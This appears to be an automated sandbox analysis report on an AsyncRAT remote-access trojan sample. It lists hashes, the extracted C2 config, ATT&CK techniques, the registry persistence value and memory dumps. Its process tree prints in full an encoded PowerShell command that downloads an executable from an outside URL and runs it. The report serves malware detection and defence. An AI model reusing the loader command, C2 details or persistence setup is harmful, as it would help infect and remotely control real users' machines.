asyncrat | 16c2fcaa5e005e11b6d8d31ed19e33dd7038290c4544e0dd2c3f61e9980350f7

Analysis

max time kernel
150s
max time network
152s
platform
windows10-1703_x64
resource
win10-20220812-en
resource tags

arch:x64arch:x86image:win10-20220812-enlocale:en-usos:windows10-1703-x64system
submitted
17-12-2022 07:24

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General

Target

16c2fcaa5e005e11b6d8d31ed19e33dd7038290c4544e0dd2c3f61e9980350f7.exe
Size

6KB
MD5

6a244b5702240177bfb14ea0acf83766
SHA1

e6a432e8c6a4eeb939324871c665fe0f87a5a9ab
SHA256

16c2fcaa5e005e11b6d8d31ed19e33dd7038290c4544e0dd2c3f61e9980350f7
SHA512

18b5f212affedf093fb745718f62cf49840749c6044952aa0553e81058f98a2c894f0b58911196826118564936a429aeec65a0ca6f1650f8915b0457fc16d0b6
SSDEEP

96:Q79rLL1bhycG8W2mO8YKNXJnk538t/8nBRt9Tgd3oj9mrl:29rLL1bhych87NXJnu38t/8nHEdA2

Score

10^/10

asyncrat windowsdefendersmarttscreen persistence rat

Malware Config

Extracted

Family

asyncrat

Version

1.0.7

Botnet

WindowsDefenderSmarttScreen

217.64.31.3:9742

Mutex

WindowsDefenderSmarttScreen

Attributes

delay
1
install
false
install_file
WindowsDefenderSmarttScreen.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers.
rat asyncrat

Async RAT payload 1 IoCs

rat

Processes:

resource	yara_rule
behavioral1/memory/3496-194-0x00000000059B0000-0x00000000059C2000-memory.dmp	asyncrat

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

6 5024 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 1 IoCs

Processes:

asasad2113.exe

pid process

3496 asasad2113.exe

flow	pid	process
6	5024	powershell.exe

pid	process
3496	asasad2113.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

asasad2113.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce	asasad2113.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\OperaSetups = "C:\\Users\\Admin\\AppData\\Roaming\\RuntimeBroker\\RuntimeBroker.exe"	asasad2113.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

5024 powershell.exe
5024 powershell.exe
5024 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 5024 powershell.exe

pid	process
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe

description	pid	process
Token: SeDebugPrivilege	5024	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

16c2fcaa5e005e11b6d8d31ed19e33dd7038290c4544e0dd2c3f61e9980350f7.exepowershell.exe

description	pid	process	target process
PID 4988 wrote to memory of 5024	4988	16c2fcaa5e005e11b6d8d31ed19e33dd7038290c4544e0dd2c3f61e9980350f7.exe	powershell.exe
PID 4988 wrote to memory of 5024	4988	16c2fcaa5e005e11b6d8d31ed19e33dd7038290c4544e0dd2c3f61e9980350f7.exe	powershell.exe
PID 5024 wrote to memory of 3496	5024	powershell.exe	asasad2113.exe
PID 5024 wrote to memory of 3496	5024	powershell.exe	asasad2113.exe
PID 5024 wrote to memory of 3496	5024	powershell.exe	asasad2113.exe

C:\Users\Admin\AppData\Local\Temp\16c2fcaa5e005e11b6d8d31ed19e33dd7038290c4544e0dd2c3f61e9980350f7.exe
"C:\Users\Admin\AppData\Local\Temp\16c2fcaa5e005e11b6d8d31ed19e33dd7038290c4544e0dd2c3f61e9980350f7.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4988

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGMAZgBlACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAxADAAMAA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAGQAbgAuAGQAaQBzAGMAbwByAGQAYQBwAHAALgBjAG8AbQAvAGEAdAB0AGEAYwBoAG0AZQBuAHQAcwAvADEAMAA1ADIAMQA1ADMAOQA1ADEAMAA2ADUAMgAyADcAMgA2ADQALwAxADAANQAyADEANQA0ADYAOAA4ADIAOAAxADIANQA1ADkAOQA3AC8AVwBpAG4AZABvAHcAcwBEAGUAZgBlAG4AZABlAHIAUwBtAGEAcgB0AHQAUwBjAHIAZQBlAG4ALgBlAHgAZQAnACwAIAA8ACMAZAB2AHgAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwB0AGYAZwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBkAGQAZwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBhAHMAYQBzAGEAZAAyADEAMQAzAC4AZQB4AGUAJwApACkAPAAjAHUAaQBkACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGMAbgB4ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwByAHYAdQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBhAHMAYQBzAGEAZAAyADEAMQAzAC4AZQB4AGUAJwApADwAIwBxAHAAeQAjAD4A"
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5024

C:\Users\Admin\AppData\Roaming\asasad2113.exe
"C:\Users\Admin\AppData\Roaming\asasad2113.exe"
3⤵
- Executes dropped EXE
- Adds Run key to start application
PID:3496

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\asasad2113.exe
Filesize
4.2MB

MD5
b60e44033994d1fde9a4b6f1338bfa04

SHA1
7f2cd8091276040ca011174269112099ec3e9bef

SHA256
baaa098832eb5790a1fabfdc6284eecffdd74a914ea1312c0f413cc5bb814a7e

SHA512
a8776d7ce2bffa25cefe789bf8f5a4b5b0b81ef53cd0c783ded1be9ee0f976c6c2a3bd41a4d9c05eb15910051d3cfe490c6390b7029d370ad71487c88416c574

Download Submit
C:\Users\Admin\AppData\Roaming\asasad2113.exe
Filesize
4.2MB

MD5
b60e44033994d1fde9a4b6f1338bfa04

SHA1
7f2cd8091276040ca011174269112099ec3e9bef

SHA256
baaa098832eb5790a1fabfdc6284eecffdd74a914ea1312c0f413cc5bb814a7e

SHA512
a8776d7ce2bffa25cefe789bf8f5a4b5b0b81ef53cd0c783ded1be9ee0f976c6c2a3bd41a4d9c05eb15910051d3cfe490c6390b7029d370ad71487c88416c574

Download Submit
memory/3496-173-0x00000000778F0000-0x0000000077A7E000-memory.dmp

Filesize
1.6MB

Download
memory/3496-156-0x00000000778F0000-0x0000000077A7E000-memory.dmp

Filesize
1.6MB

Download
memory/3496-144-0x00000000778F0000-0x0000000077A7E000-memory.dmp

Filesize
1.6MB

Download
memory/3496-145-0x00000000778F0000-0x0000000077A7E000-memory.dmp

Filesize
1.6MB

Download
memory/3496-146-0x00000000778F0000-0x0000000077A7E000-memory.dmp

Filesize
1.6MB

Download
memory/3496-175-0x00000000778F0000-0x0000000077A7E000-memory.dmp

Filesize
1.6MB

Download
memory/3496-148-0x00000000778F0000-0x0000000077A7E000-memory.dmp

Filesize
1.6MB

Download
memory/3496-149-0x00000000778F0000-0x0000000077A7E000-memory.dmp

Filesize
1.6MB

Download
memory/3496-150-0x00000000778F0000-0x0000000077A7E000-memory.dmp

Filesize
1.6MB

Download
memory/3496-152-0x00000000778F0000-0x0000000077A7E000-memory.dmp

Filesize
1.6MB

Download
memory/3496-153-0x00000000778F0000-0x0000000077A7E000-memory.dmp

Filesize
1.6MB

Download
memory/3496-154-0x00000000778F0000-0x0000000077A7E000-memory.dmp

Filesize
1.6MB

Download
memory/3496-155-0x00000000778F0000-0x0000000077A7E000-memory.dmp

Filesize
1.6MB

Download
memory/3496-176-0x00000000778F0000-0x0000000077A7E000-memory.dmp

Filesize
1.6MB

Download
memory/3496-157-0x00000000778F0000-0x0000000077A7E000-memory.dmp

Filesize
1.6MB

Download
memory/3496-158-0x00000000778F0000-0x0000000077A7E000-memory.dmp

Filesize
1.6MB

Download
memory/3496-159-0x00000000778F0000-0x0000000077A7E000-memory.dmp

Filesize
1.6MB

Download
memory/3496-160-0x00000000778F0000-0x0000000077A7E000-memory.dmp

Filesize
1.6MB

Download
memory/3496-161-0x00000000778F0000-0x0000000077A7E000-memory.dmp

Filesize
1.6MB

Download
memory/3496-162-0x00000000778F0000-0x0000000077A7E000-memory.dmp

Filesize
1.6MB

Download
memory/3496-163-0x00000000778F0000-0x0000000077A7E000-memory.dmp

Filesize
1.6MB

Download
memory/3496-164-0x00000000778F0000-0x0000000077A7E000-memory.dmp

Filesize
1.6MB

Download
memory/3496-165-0x00000000778F0000-0x0000000077A7E000-memory.dmp

Filesize
1.6MB

Download
memory/3496-166-0x00000000778F0000-0x0000000077A7E000-memory.dmp

Filesize
1.6MB

Download
memory/3496-167-0x00000000778F0000-0x0000000077A7E000-memory.dmp

Filesize
1.6MB

Download
memory/3496-177-0x0000000000D30000-0x000000000115E000-memory.dmp

Filesize
4.2MB

Download
memory/3496-169-0x00000000778F0000-0x0000000077A7E000-memory.dmp

Filesize
1.6MB

Download
memory/3496-170-0x00000000778F0000-0x0000000077A7E000-memory.dmp

Filesize
1.6MB

Download
memory/3496-171-0x00000000778F0000-0x0000000077A7E000-memory.dmp

Filesize
1.6MB

Download
memory/3496-172-0x00000000778F0000-0x0000000077A7E000-memory.dmp

Filesize
1.6MB

Download
memory/3496-140-0x0000000000000000-mapping.dmp

Download
memory/3496-174-0x00000000778F0000-0x0000000077A7E000-memory.dmp

Filesize
1.6MB

Download
memory/3496-147-0x00000000778F0000-0x0000000077A7E000-memory.dmp

Filesize
1.6MB

Download
memory/3496-142-0x00000000778F0000-0x0000000077A7E000-memory.dmp

Filesize
1.6MB

Download
memory/3496-168-0x00000000778F0000-0x0000000077A7E000-memory.dmp

Filesize
1.6MB

Download
memory/3496-178-0x00000000778F0000-0x0000000077A7E000-memory.dmp

Filesize
1.6MB

Download
memory/3496-179-0x00000000778F0000-0x0000000077A7E000-memory.dmp

Filesize
1.6MB

Download
memory/3496-180-0x00000000059C0000-0x0000000005A5C000-memory.dmp

Filesize
624KB

Download
memory/3496-181-0x0000000005F60000-0x000000000645E000-memory.dmp

Filesize
5.0MB

Download
memory/3496-182-0x00000000778F0000-0x0000000077A7E000-memory.dmp

Filesize
1.6MB

Download
memory/3496-183-0x00000000778F0000-0x0000000077A7E000-memory.dmp

Filesize
1.6MB

Download
memory/3496-184-0x00000000778F0000-0x0000000077A7E000-memory.dmp

Filesize
1.6MB

Download
memory/3496-185-0x00000000778F0000-0x0000000077A7E000-memory.dmp

Filesize
1.6MB

Download
memory/3496-186-0x00000000778F0000-0x0000000077A7E000-memory.dmp

Filesize
1.6MB

Download
memory/3496-187-0x00000000778F0000-0x0000000077A7E000-memory.dmp

Filesize
1.6MB

Download
memory/3496-188-0x00000000778F0000-0x0000000077A7E000-memory.dmp

Filesize
1.6MB

Download
memory/3496-189-0x00000000778F0000-0x0000000077A7E000-memory.dmp

Filesize
1.6MB

Download
memory/3496-190-0x00000000778F0000-0x0000000077A7E000-memory.dmp

Filesize
1.6MB

Download
memory/3496-191-0x00000000778F0000-0x0000000077A7E000-memory.dmp

Filesize
1.6MB

Download
memory/3496-192-0x00000000778F0000-0x0000000077A7E000-memory.dmp

Filesize
1.6MB

Download
memory/3496-193-0x00000000778F0000-0x0000000077A7E000-memory.dmp

Filesize
1.6MB

Download
memory/3496-194-0x00000000059B0000-0x00000000059C2000-memory.dmp

Filesize
72KB

Download
memory/3496-195-0x00000000778F0000-0x0000000077A7E000-memory.dmp

Filesize
1.6MB

Download
memory/3496-196-0x00000000778F0000-0x0000000077A7E000-memory.dmp

Filesize
1.6MB

Download
memory/3496-197-0x00000000778F0000-0x0000000077A7E000-memory.dmp

Filesize
1.6MB

Download
memory/3496-198-0x00000000778F0000-0x0000000077A7E000-memory.dmp

Filesize
1.6MB

Download
memory/3496-199-0x00000000778F0000-0x0000000077A7E000-memory.dmp

Filesize
1.6MB

Download
memory/3496-200-0x00000000778F0000-0x0000000077A7E000-memory.dmp

Filesize
1.6MB

Download
memory/3496-201-0x00000000778F0000-0x0000000077A7E000-memory.dmp

Filesize
1.6MB

Download
memory/3496-202-0x00000000778F0000-0x0000000077A7E000-memory.dmp

Filesize
1.6MB

Download
memory/3496-203-0x00000000778F0000-0x0000000077A7E000-memory.dmp

Filesize
1.6MB

Download
memory/4988-116-0x0000000000B90000-0x0000000000B98000-memory.dmp

Filesize
32KB

Download
memory/5024-117-0x0000000000000000-mapping.dmp

Download
memory/5024-122-0x000002ADF1910000-0x000002ADF1932000-memory.dmp

Filesize
136KB

Download
memory/5024-125-0x000002ADF1AC0000-0x000002ADF1B36000-memory.dmp

Filesize
472KB

Download